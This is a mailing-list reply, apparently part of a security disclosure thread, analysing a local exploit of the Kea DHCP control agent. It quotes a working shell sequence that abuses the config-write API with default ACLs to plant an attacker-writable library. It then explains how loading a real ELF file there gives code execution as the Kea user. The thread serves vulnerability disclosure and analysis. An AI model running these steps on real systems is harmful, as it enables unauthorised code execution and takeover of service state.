Hi,
On Fri, May 30, 2025 at 10:11:51AM +0200, Matthias Gerstner wrote:
> > Default ACLs to the rescue!
> >
> > $ chmod a+x ~
> > $ mkdir -m 777 ~/.Private
> > $ setfacl -d -m u:$LOGNAME:rwx ~/.Private/
> > $ curl -s -H "Content-Type: application/json" -d '{ "command":
> > "config-write", "arguments": { "filename":
> > "'"$HOME"'/.Private/libexploit.so" } }' localhost:8000 > /dev/null
> > $ echo pwned > ~/.Private/libexploit.so
> > $ ls -l ~/.Private/libexploit.so
> > -rw-rw-rw-+ 1 _kea _kea 6 May 28 18:15 /home/jwilk/.Private/libexploit.so
> > $ cat ~/.Private/libexploit.so
> > pwned
>
> very nice addition! We already felt like there was little left to
> succeed in the attack, but didn't think of ACLs.
I just checked this attack vector more closely.
The resulting file receives the mode 0666, because bits missing in the
`mode` argument passed to `openat()` are masked out. The strace of
`kea-ctrl-agent` looks like this in this scenario:
openat(AT_FDCWD, "/home/<user>/.Private/libexploit.so",
O_WRONLY|O_CREAT|O_TRUNC, 0666) = 14
The missing executable bits are no obstacle, however, because on Linux
`mmap()` allows mapping executable code even if the underlying file is
not executable.
Writing a valid ELF file into the "configuration file" created by Kea
works e.g. like this:
$ cat librealexploit.so >~/.Private/libexploit.so
With this, the library can successfully be loaded by Kea and the exploit
code starts to run. The code execution in this context is still itself
limited by the AppArmor rules, however. It is enough to fully control
all Kea state on disk.
Cheers
Matthias
signature.asc
Description: PGP signature
